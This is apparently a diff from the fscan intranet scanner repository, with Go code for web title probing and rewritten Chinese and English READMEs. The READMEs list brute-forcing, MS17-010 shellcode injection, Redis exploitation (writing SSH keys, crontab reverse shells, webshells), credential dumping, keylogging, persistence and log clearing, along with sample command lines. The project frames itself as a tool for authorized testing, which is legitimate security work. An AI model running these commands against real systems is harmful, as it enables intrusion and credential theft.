|
||||
if strings.Contains(result, "://") {
|
||||
//有跳转
|
||||
redirecturl, err := url.Parse(result)
|
||||
if err == nil {
|
||||
info.Url = redirecturl.String()
|
||||
err, result, CheckData = geturl(info, 3, CheckData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if result == "https" {
|
||||
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
||||
err, result, CheckData = geturl(info, 1, CheckData)
|
||||
if strings.Contains(result, "://") {
|
||||
//有跳转
|
||||
redirecturl, err := url.Parse(result)
|
||||
if err == nil {
|
||||
info.Url = redirecturl.String()
|
||||
err, result, CheckData = geturl(info, 3, CheckData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
err, _, CheckData = geturl(info, 2, CheckData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
WebScan.InfoCheck(info.Url, CheckData)
|
||||
|
||||
if common.IsWebCan == false {
|
||||
WebScan.WebScan(info)
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
|
||||
Url := info.Url
|
||||
if flag == 2 {
|
||||
URL, err := url.Parse(Url)
|
||||
if err == nil {
|
||||
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
|
||||
} else {
|
||||
Url += "/favicon.ico"
|
||||
}
|
||||
}
|
||||
|
||||
res, err := http.NewRequest("GET", Url, nil)
|
||||
if err == nil {
|
||||
res.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||
res.Header.Set("Accept", "*/*")
|
||||
res.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
|
||||
if common.Pocinfo.Cookie != "" {
|
||||
res.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
|
||||
} else {
|
||||
res.Header.Set("Cookie", "rememberMe=1")
|
||||
}
|
||||
res.Header.Set("Connection", "close")
|
||||
|
||||
var client *http.Client
|
||||
if flag == 1 {
|
||||
client = lib.ClientNoRedirect
|
||||
} else {
|
||||
client = lib.Client
|
||||
}
|
||||
|
||||
resp, err := client.Do(res)
|
||||
if err == nil {
|
||||
defer resp.Body.Close()
|
||||
var title string
|
||||
var text []byte
|
||||
body, err := getRespBody(resp)
|
||||
if err != nil {
|
||||
return err, "", CheckData
|
||||
}
|
||||
if flag != 2 {
|
||||
re := regexp.MustCompile("(?ims)<title>(.*)</title>")
|
||||
find := re.FindSubmatch(body)
|
||||
if len(find) > 1 {
|
||||
text = find[1]
|
||||
GetEncoding := func() string { // 判断Content-Type
|
||||
r1, err := regexp.Compile(`(?im)charset=\s*?([\w-]+)`)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
headerCharset := r1.FindString(resp.Header.Get("Content-Type"))
|
||||
if headerCharset != "" {
|
||||
for _, v := range Charsets { // headers 编码优先,所以放在前面
|
||||
if strings.Contains(strings.ToLower(headerCharset), v) == true {
|
||||
return v
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
r2, err := regexp.Compile(`(?im)<meta.*?charset=['"]?([\w-]+)["']?.*?>`)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
htmlCharset := r2.FindString(string(body))
|
||||
if htmlCharset != "" {
|
||||
for _, v := range Charsets {
|
||||
if strings.Contains(strings.ToLower(htmlCharset), v) == true {
|
||||
return v
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
encode := GetEncoding()
|
||||
_, encode1, _ := charset.DetermineEncoding(body, "")
|
||||
var encode2 string
|
||||
detector := chardet.NewTextDetector()
|
||||
detectorstr, _ := detector.DetectBest(body)
|
||||
if detectorstr != nil {
|
||||
encode2 = detectorstr.Charset
|
||||
}
|
||||
if encode == "gbk" || encode == "gb2312" || encode1 == "gbk" || strings.Contains(strings.ToLower(encode2), "gb") {
|
||||
titleGBK, err := Decodegbk(text)
|
||||
if err == nil {
|
||||
title = string(titleGBK)
|
||||
}
|
||||
} else {
|
||||
title = string(text)
|
||||
}
|
||||
} else {
|
||||
title = "None"
|
||||
}
|
||||
title = strings.Trim(title, "\r\n \t")
|
||||
title = strings.Replace(title, "\n", "", -1)
|
||||
title = strings.Replace(title, "\r", "", -1)
|
||||
title = strings.Replace(title, " ", " ", -1)
|
||||
if len(title) > 100 {
|
||||
title = title[:100]
|
||||
}
|
||||
if title == "" {
|
||||
title = "None"
|
||||
}
|
||||
length := resp.Header.Get("Content-Length")
|
||||
if length == "" {
|
||||
length = fmt.Sprintf("%v", len(text))
|
||||
}
|
||||
result := fmt.Sprintf("[*] WebTitle:%-25v code:%-3v len:%-6v title:%v", Url, resp.StatusCode, length, title)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
|
||||
redirURL, err1 := resp.Location()
|
||||
if err1 == nil {
|
||||
return nil, redirURL.String(), CheckData
|
||||
}
|
||||
if resp.StatusCode == 400 && info.Url[:5] != "https" {
|
||||
return err, "https", CheckData
|
||||
}
|
||||
return err, "", CheckData
|
||||
}
|
||||
return err, "https", CheckData
|
||||
}
|
||||
return err, "", CheckData
|
||||
}
|
||||
|
||||
func Decodegbk(s []byte) ([]byte, error) { // GBK解码
|
||||
I := bytes.NewReader(s)
|
||||
O := transform.NewReader(I, simplifiedchinese.GBK.NewDecoder())
|
||||
d, e := ioutil.ReadAll(O)
|
||||
if e != nil {
|
||||
return nil, e
|
||||
}
|
||||
return d, nil
|
||||
}
|
||||
|
||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
var body []byte
|
||||
if oResp.Header.Get("Content-Encoding") == "gzip" {
|
||||
gr, err := gzip.NewReader(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer gr.Close()
|
||||
for {
|
||||
buf := make([]byte, 1024)
|
||||
n, err := gr.Read(buf)
|
||||
if err != nil && err != io.EOF {
|
||||
return nil, err
|
||||
}
|
||||
if n == 0 {
|
||||
break
|
||||
}
|
||||
body = append(body, buf...)
|
||||
}
|
||||
} else {
|
||||
raw, err := ioutil.ReadAll(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
body = raw
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
@@ -1,172 +1,292 @@
|
||||
# fscan
|
||||
# Fscan
|
||||
|
||||
# 简介
|
||||
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
|
||||
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
|
||||
[English](README_EN.md)
|
||||
|
||||
## 主要功能
|
||||
1.信息搜集:
|
||||
* 存活探测(icmp)
|
||||
* 端口扫描
|
||||
内网综合扫描工具,一键自动化漏扫。
|
||||
|
||||
2.爆破功能:
|
||||
* 各类服务爆破(ssh、smb等)
|
||||
* 数据库密码爆破(mysql、mssql、redis、psql等)
|
||||
**版本**: 2.2.1
|
||||
|
||||
3.系统信息、漏洞扫描:
|
||||
* netbios探测、域控识别
|
||||
* 获取目标网卡信息
|
||||
* 高危漏洞扫描(ms17010等)
|
||||
## 功能特性
|
||||
|
||||
4.Web探测功能:
|
||||
* webtitle探测
|
||||
* web指纹识别(常见cms、oa框架等)
|
||||
* web漏洞扫描(weblogic、st2等,支持xray的poc)
|
||||
### 扫描能力
|
||||
- **主机发现** - ICMP/Ping存活探测,支持大网段B/C段存活统计
|
||||
- **端口扫描** - TCP全连接扫描,内置133个常用端口,支持端口组(web/db/service/all)
|
||||
- **服务识别** - 智能协议识别,支持20+种服务指纹匹配
|
||||
- **Web探测** - 网站标题、CMS指纹、Web中间件、WAF/CDN识别(40+指纹)
|
||||
|
||||
5.漏洞利用:
|
||||
* redis写公钥或写计划任务
|
||||
* ssh命令执行
|
||||
### 爆破能力
|
||||
- **弱密码爆破** - 28种服务爆破(SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis等)
|
||||
- **Hash碰撞** - 支持NTLM Hash认证(SMB/WMI)
|
||||
- **SSH密钥登录** - 支持私钥认证方式
|
||||
- **智能字典** - 内置100+常见弱密码,支持{user}变量替换
|
||||
|
||||
6.其他功能:
|
||||
* 文件保存
|
||||
### 漏洞检测
|
||||
- **高危漏洞** - MS17-010(永恒之蓝)、SMBGhost(CVE-2020-0796)
|
||||
- **未授权访问** - Redis/MongoDB/Memcached/Elasticsearch等未授权检测
|
||||
- **POC扫描** - 集成Web漏洞POC,支持Xray POC格式
|
||||
- **DNSLog** - 支持DNSLog外带检测
|
||||
|
||||
## usege
|
||||
简单用法
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
|
||||
fscan.exe -h 192.168.1.1/16 (B段扫描)
|
||||
### 漏洞利用
|
||||
- **Redis利用** - 写公钥、写计划任务、写WebShell、主从复制RCE
|
||||
- **MS17-010利用** - ShellCode注入,支持添加用户、执行命令
|
||||
- **SSH命令执行** - 认证成功后自动执行命令
|
||||
|
||||
### 本地模块
|
||||
- **信息收集** - 系统信息、环境变量、域控信息、网卡配置
|
||||
- **凭据获取** - 内存转储(MiniDump)、键盘记录、注册表导出
|
||||
- **权限维持** - Systemd服务、Windows服务、计划任务、启动项、LD_PRELOAD
|
||||
- **反弹Shell** - 正向Shell、反向Shell、SOCKS5代理服务
|
||||
- **杀软检测** - 识别目标主机安装的安全软件
|
||||
- **痕迹清理** - 日志清理工具
|
||||
|
||||
### 输入输出
|
||||
- **目标输入** - IP/CIDR/域名/URL,支持文件批量导入
|
||||
- **排除规则** - 支持排除特定主机、端口
|
||||
- **输出格式** - TXT/JSON/CSV多格式输出
|
||||
- **静默模式** - 无Banner、无进度条、无颜色输出
|
||||
|
||||
### 网络控制
|
||||
- **代理支持** - HTTP/SOCKS5代理,支持指定网卡
|
||||
- **发包控制** - 速率限制、最大发包数量控制
|
||||
- **超时控制** - 端口超时、Web超时、全局超时独立配置
|
||||
- **并发控制** - 端口扫描线程、服务扫描线程独立配置
|
||||
|
||||
### 扩展功能
|
||||
- **SDK嵌入** - `pkg/fscan`提供Go SDK,可嵌入Agent或安全平台,支持任务控制(Pause/Resume)、实时进度回调、TaskID追溯
|
||||
- **Web管理界面** - 可视化扫描任务管理(条件编译 -tags web)
|
||||
- **Lab靶场环境** - 内置Docker靶场用于测试学习
|
||||
- **插件化架构** - 服务插件/Web插件/本地插件分离,易于扩展
|
||||
- **多语言支持** - 中英文界面切换(-lang zh/en)
|
||||
- **性能统计** - JSON格式性能报告(-perf)
|
||||
|
||||
## v2.1.0 更新日志
|
||||
|
||||
> 本次更新包含 **262个提交**,涵盖30项新功能、120项修复、54项重构、14项性能优化、20项测试增强。
|
||||
|
||||
### 架构重构
|
||||
- **全局变量消除** - 迁移至Config/State对象,提升并发安全和可测试性
|
||||
- **SMB插件融合** - 整合smb/smb2/smbghost/smbinfo为统一插件,新增smb_protocol.go
|
||||
- **服务探测重构** - 实现Nmap风格fallback机制,优化端口指纹识别策略
|
||||
- **输出系统重构** - TXT实时刷盘+双写机制,解决结果丢失和乱序问题
|
||||
- **i18n框架升级** - 迁移至go-i18n,完整覆盖core/plugins/webscan模块
|
||||
- **HostInfo重构** - Ports字段从string改为int,类型安全
|
||||
- **函数复杂度优化** - clusterpoc(125→30)、EnhancedPortScan(111→20)
|
||||
- **代码审计** - 修复P0-P2级别问题,清理deadcode
|
||||
- **日志系统优化** - LogDebug调用清理(71→18),精简启动日志输出
|
||||
|
||||
### 性能优化
|
||||
- **正则预编译** - 全局正则表达式预编译,避免重复编译开销
|
||||
- **内存优化** - map[string]bool改为map[string]struct{}节省内存
|
||||
- **并发指纹匹配** - 多协程并行匹配,提升识别速度
|
||||
- **连接复用** - SOCKS5全局拨号器复用,避免重复握手
|
||||
- **滑动窗口调度** - 自适应线程池+流式迭代器,优化端口扫描
|
||||
- **CEL缓存优化** - POC扫描CEL环境缓存,减少重复初始化
|
||||
- **包级变量提取** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes等
|
||||
- **预分配容量** - 简化转换链、单次字符串替换
|
||||
- **并发安全优化** - 优化锁粒度和内存分配
|
||||
|
||||
### 新功能
|
||||
- **Web管理界面** - 可视化扫描任务管理,响应式布局和进度显示
|
||||
- **多格式POC适配** - 支持xray和afrog格式POC
|
||||
- **智能扫描模式** - 布隆过滤器去重+代理优化
|
||||
- **增强指纹库** - 集成FingerprintHub(3139条指纹)
|
||||
- **Favicon指纹识别** - 支持mmh3和MD5双格式hash匹配
|
||||
- **通用版本提取器** - 自动提取服务版本信息
|
||||
- **指纹优先级排序** - 智能排序匹配结果
|
||||
- **智能协议检测** - 自动识别HTTP/HTTPS协议类型
|
||||
- **网卡指定功能** - 支持VPN场景(-iface参数)
|
||||
- **排除主机文件** - 支持从文件读取排除主机(-ehf参数)
|
||||
- **ICMP令牌桶限速** - 防止高速扫描导致路由器崩溃
|
||||
- **端口扫描重试** - 失败自动重扫机制
|
||||
- **RDP真实认证** - 集成grdp库实现系统指纹识别
|
||||
- **SMB/FTP文件列表** - 匿名访问时自动列出文件
|
||||
- **302跳转双重识别** - 同时识别原始响应和跳转后响应指纹
|
||||
- **TXT输出URL汇总** - 末尾添加Web服务URL列表便于批量测试
|
||||
- **nmap核心集成** - 三大改进:探测策略/匹配引擎/版本解析
|
||||
- **插件选择性编译** - Build Tags系统,支持服务/本地/Web插件独立编译
|
||||
- **默认端口扩展** - 从62个扩展到133个常用端口
|
||||
- **全端口扫描支持** - 扩大端口范围限制
|
||||
- **HTTP重定向控制** - 可配置的重定向次数限制
|
||||
- **性能分析支持** - 添加pprof性能分析和benchmark测试
|
||||
- **TCP包统计** - 服务插件支持TCP包发送统计
|
||||
- **fscan-lab靶场** - 内网渗透训练平台,覆盖全部漏洞场景(未完成)
|
||||
- **Redis利用增强** - 移植完整Redis利用功能(写公钥/计划任务/WebShell/主从RCE)
|
||||
- **rsync插件重构** - 使用go-rsync库重构认证逻辑
|
||||
|
||||
### Bug修复(120项,列出关键修复)
|
||||
- **RDP空指针panic** - 修复证书解析导致的崩溃(#551)
|
||||
- **批量扫描漏报** - 修复大规模扫描遗漏问题(#304)
|
||||
- **JSON输出格式** - 修复输出格式错误(#446)
|
||||
- **Redis弱密码检测** - 修复检测遗漏问题(#447)
|
||||
- **结果实时保存** - 修复扫描结果未及时保存(#469)
|
||||
- **Nmap解析溢出** - 修复八进制转义解析bug(#478)
|
||||
- **指纹识别竞态** - 修复webtitle/webpoc竞态问题(#474)
|
||||
- **MySQL连接验证** - 改用information_schema库验证
|
||||
- **代理端口误判** - 修复代理模式下端口状态判断错误
|
||||
- **Context超时** - 修复22处插件超时未响应问题
|
||||
- **ICMP竞态条件** - 修复并发扫描竞争问题
|
||||
- **IPv6地址格式** - 修复4处地址格式化问题
|
||||
- **POC高并发卡死** - 修复Context未传播问题
|
||||
- **Ctrl+C结果丢失** - 添加信号处理确保结果写入
|
||||
- **SOCKS5全回显** - 添加代理连接验证
|
||||
- **服务探测泄漏** - 修复连接未正确关闭问题
|
||||
- **webtitle响应丢弃** - 修复部分响应数据被丢弃导致识别失败
|
||||
- **TXT漏洞信息缺失** - 修复输出遗漏漏洞详情
|
||||
- **JSON指纹缺失** - 统一SERVICE结果Target格式
|
||||
- **扫描耗时显示** - 修复完成耗时显示为0的问题
|
||||
- **虚假漏洞记录** - 重构TXT输出系统消除误报
|
||||
- **Redis跨平台路径** - 修复利用功能的路径和超时问题
|
||||
- **Windows编译警告** - 修复fscan-lite平台兼容性
|
||||
- **Go 1.20兼容** - 降级依赖保持兼容性
|
||||
|
||||
### 测试增强(20项)
|
||||
- **单元测试** - 核心模块覆盖率74-100%
|
||||
- **并发安全测试** - State对象、指纹匹配引擎专项测试
|
||||
- **集成测试** - Web扫描/端口扫描/服务探测/SSH认证/ICMP探测
|
||||
- **CLI参数测试** - 命令行参数解析验证
|
||||
- **性能基准测试** - AdaptivePool、服务探测策略benchmark
|
||||
- **ResultBuffer测试** - 去重和完整度评分验证
|
||||
|
||||
### 工程化改进
|
||||
- **CI流程优化** - golangci-lint v2升级,简化构建步骤
|
||||
- **Issue自动化** - GitHub Issue模板优化,Project自动化工作流
|
||||
- **Lint全量修复** - revive/errcheck/shadow/staticcheck/gosimple全部通过
|
||||
- **README重写** - 中英文文档全面更新
|
||||
- **代码格式统一** - gofmt/goimports规范化
|
||||
|
||||
## 快速开始
|
||||
|
||||
```bash
|
||||
# 扫描C段
|
||||
./fscan -h 192.168.1.1/24
|
||||
|
||||
# 指定端口
|
||||
./fscan -h 192.168.1.1 -p 22,80,443,3389
|
||||
|
||||
# 仅存活探测
|
||||
./fscan -h 192.168.1.1/24 -ao
|
||||
|
||||
# 禁用爆破
|
||||
./fscan -h 192.168.1.1/24 -nobr
|
||||
|
||||
# Web扫描
|
||||
./fscan -u http://192.168.1.1
|
||||
|
||||
# 本地插件
|
||||
./fscan -local systeminfo
|
||||
|
||||
# Hash碰撞
|
||||
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
|
||||
|
||||
# Redis写公钥
|
||||
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
|
||||
```
|
||||
|
||||
其他用法
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
|
||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
|
||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
|
||||
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
|
||||
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
|
||||
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
|
||||
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
|
||||
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
|
||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
|
||||
fscan.exe -hf ip.txt (以文件导入)
|
||||
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
|
||||
```
|
||||
编译命令
|
||||
```
|
||||
go build -ldflags="-s -w " -trimpath
|
||||
## 编译
|
||||
|
||||
```bash
|
||||
# 标准编译
|
||||
go build -ldflags="-s -w" -trimpath -o fscan .
|
||||
|
||||
# 带Web管理界面
|
||||
go build -tags web -ldflags="-s -w" -trimpath -o fscan-web .
|
||||
```
|
||||
|
||||
完整参数
|
||||
```
|
||||
-Num int
|
||||
poc rate (default 20)
|
||||
-c string
|
||||
exec command (ssh)
|
||||
-cookie string
|
||||
set poc cookie
|
||||
-debug
|
||||
debug mode will print more error info
|
||||
-domain string
|
||||
smb domain
|
||||
-h string
|
||||
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
||||
-hf string
|
||||
host file, -hs ip.txt
|
||||
-m string
|
||||
Select scan type ,as: -m ssh (default "all")
|
||||
-no
|
||||
not to save output log
|
||||
-nopoc
|
||||
not to scan web vul
|
||||
-np
|
||||
not to ping
|
||||
-o string
|
||||
Outputfile (default "result.txt")
|
||||
-p string
|
||||
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9200,11211,270179098,9448,8888,82,8858,1081,8879,21502,9097,8088,8090,8200,91,1080,889,8834,8011,9986,9043,9988,7080,10000,9089,8028,9999,8001,89,8086,8244,9000,2008,8080,7000,8030,8983,8096,8288,18080,8020,8848,808,8099,6868,18088,10004,8443,8042,7008,8161,7001,1082,8095,8087,8880,9096,7074,8044,8048,9087,10008,2020,8003,8069,20000,7688,1010,8092,8484,6648,9100,21501,8009,8360,9060,85,99,8000,9085,9998,8172,8899,9084,9010,9082,10010,7005,12018,87,7004,18004,8098,18098,8002,3505,8018,3000,9094,83,8108,1118,8016,20720,90,8046,9443,8091,7002,8868,8010,18082,8222,7088,8448,18090,3008,12443,9001,9093,7003,8101,14000,7687,8094,9002,8082,9081,8300,9086,8081,8089,8006,443,7007,7777,1888,9090,9095,81,1000,18002,8800,84,9088,7071,7070,8038,9091,8258,9008,9083,16080,88,8085,801,5555,7680,800,8180,9800,10002,18000,18008,98,28018,86,9092,8881,8100,8012,8084,8989,6080,7078,18001,8093,8053,8070,8280,880,92,9099,8181,9981,8060,8004,8083,10001,8097,21000,80,7200,888,7890,3128,8838,8008,8118,9080,2100,7180,9200")
|
||||
-ping
|
||||
using ping replace icmp
|
||||
-pocname string
|
||||
use the pocs these contain pocname, -pocname weblogic
|
||||
-proxy string
|
||||
set poc proxy, -proxy http://127.0.0.1:8080
|
||||
-pwd string
|
||||
password
|
||||
-pwdf string
|
||||
password file
|
||||
-rf string
|
||||
redis file to write sshkey file (as: -rf id_rsa.pub)
|
||||
-rs string
|
||||
redis shell to write cron file (as: -rs 192.168.1.1:6666)
|
||||
-t int
|
||||
Thread nums (default 600)
|
||||
-time int
|
||||
Set timeout (default 3)
|
||||
-u string
|
||||
url
|
||||
-uf string
|
||||
urlfile
|
||||
-user string
|
||||
username
|
||||
-userf string
|
||||
username file
|
||||
-wt int
|
||||
Set web timeout (default 5)
|
||||
## 安装
|
||||
|
||||
```bash
|
||||
# Arch Linux
|
||||
yay -S fscan-git
|
||||
```
|
||||
|
||||
## 运行截图
|
||||
|
||||
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
|
||||
`fscan.exe -h 192.168.x.x`
|
||||

|
||||
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)`
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis写公钥)
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (追加多个密码)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)`
|
||||
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5认证代理)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
|
||||

|
||||
|
||||
## 参考链接
|
||||
https://github.com/Adminisme/ServerScan
|
||||
https://github.com/netxfly/x-crack
|
||||
https://github.com/hack2fun/Gscan
|
||||
https://github.com/k8gege/LadonGo
|
||||
https://github.com/jjf012/gopoc
|
||||
`fscan.exe -h 192.0.0.0/8 -m icmp`
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 路线图
|
||||
|
||||
### 更新计划
|
||||
- **更新周期** - 每月一次版本发布
|
||||
- **前两周** - 新功能开发与特性更新
|
||||
- **后两周** - Bug修复与代码整合
|
||||
- **欢迎PR** - 期待您的贡献!
|
||||
|
||||
### SDK & Agent 集成
|
||||
- 扩展SDK能力,完善端侧Agent嵌入支持
|
||||
- 断点续扫、带宽级限速、内存水位控制
|
||||
- 更多Agent场景的集成示例
|
||||
|
||||
### 插件生态
|
||||
- 持续扩展服务插件覆盖范围
|
||||
- 为每个服务插件开发更多漏洞检测和利用能力
|
||||
- 保持插件API向后兼容,确保旧版本POC持续可用
|
||||
|
||||
### Fscan-lite
|
||||
- C语言重写的轻量版本
|
||||
- 更小的体积,更少的依赖
|
||||
- 支持更多嵌入式/受限环境
|
||||
- 目录: [fscan-lite](./fscan-lite)
|
||||
|
||||
### Fscan-lab
|
||||
- 内网渗透测试靶场环境
|
||||
- 覆盖所有fscan支持的漏洞场景
|
||||
- 开发测试与功能验证平台
|
||||
- 新手学习与技能练习环境
|
||||
- 目录: [fscan-lab](./fscan-lab)
|
||||
|
||||
## 免责声明
|
||||
|
||||
本工具仅面向**合法授权**的企业安全建设行为。使用前请确保已获得授权,符合当地法律法规,**不对非授权目标扫描**。作者不承担任何非法使用产生的后果。
|
||||
|
||||
## 404StarLink
|
||||
|
||||
# 404StarLink 2.0 - Galaxy
|
||||

|
||||
|
||||
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
|
||||
fscan 是 [404Team 星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 成员项目。
|
||||
|
||||
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
||||
## Star趋势
|
||||
|
||||
[](https://starchart.cc/shadow1ng/fscan)
|
||||
|
||||
## 最近更新
|
||||
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块
|
||||
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码
|
||||
[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等
|
||||
[+] 2021/4/22 修改webtitle模块,加入gbk解码
|
||||
[+] 2021/4/21 加入netbios探测、域控识别
|
||||
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描
|
||||
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml
|
||||
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。
|
||||
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
|
||||
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度
|
||||
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试
|
||||
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)
|
||||
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
|
||||
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
|
||||
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
|
||||
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段
|
||||
[+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理
|
||||
## 捐赠
|
||||
|
||||
[请作者喝饮料](image/sponsor.png)
|
||||
|
||||
## 参考
|
||||
|
||||
- https://github.com/Adminisme/ServerScan
|
||||
- https://github.com/netxfly/x-crack
|
||||
- https://github.com/hack2fun/Gscan
|
||||
- https://github.com/k8gege/LadonGo
|
||||
- https://github.com/jjf012/gopoc
|
||||
- https://github.com/chainreactors/gogo
|
||||
- https://github.com/0x727/FingerprintHub
|
||||
- https://github.com/killmonday/fscanx
|
||||
|
||||
+286
@@ -0,0 +1,286 @@
|
||||
# Fscan
|
||||
|
||||
[中文](README.md)
|
||||
|
||||
Comprehensive intranet scanning tool for automated vulnerability assessment.
|
||||
|
||||
**Version**: 2.2.1
|
||||
|
||||
## Features
|
||||
|
||||
### Scanning
|
||||
- **Host Discovery** - ICMP/Ping alive detection, B/C segment statistics for large networks
|
||||
- **Port Scanning** - TCP connect scan, 133 built-in ports, port groups (web/db/service/all)
|
||||
- **Service Detection** - Smart protocol identification, 20+ service fingerprint matching
|
||||
- **Web Detection** - Website title, CMS fingerprint, web middleware, WAF/CDN detection (40+ signatures)
|
||||
|
||||
### Brute Force
|
||||
- **Password Cracking** - 28 services (SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis, etc.)
|
||||
- **Hash Authentication** - NTLM Hash support (SMB/WMI)
|
||||
- **SSH Key Login** - Private key authentication
|
||||
- **Smart Dictionary** - 100+ common passwords, {user} variable substitution
|
||||
|
||||
### Vulnerability Detection
|
||||
- **Critical Vulns** - MS17-010 (EternalBlue), SMBGhost (CVE-2020-0796)
|
||||
- **Unauthorized Access** - Redis/MongoDB/Memcached/Elasticsearch unauthorized detection
|
||||
- **POC Scanning** - Integrated web POC, Xray POC format support
|
||||
- **DNSLog** - DNSLog out-of-band detection
|
||||
|
||||
### Exploitation
|
||||
- **Redis Exploit** - Write pubkey, crontab, webshell, master-slave RCE
|
||||
- **MS17-010 Exploit** - ShellCode injection, add user, execute commands
|
||||
- **SSH Command Exec** - Auto command execution after authentication
|
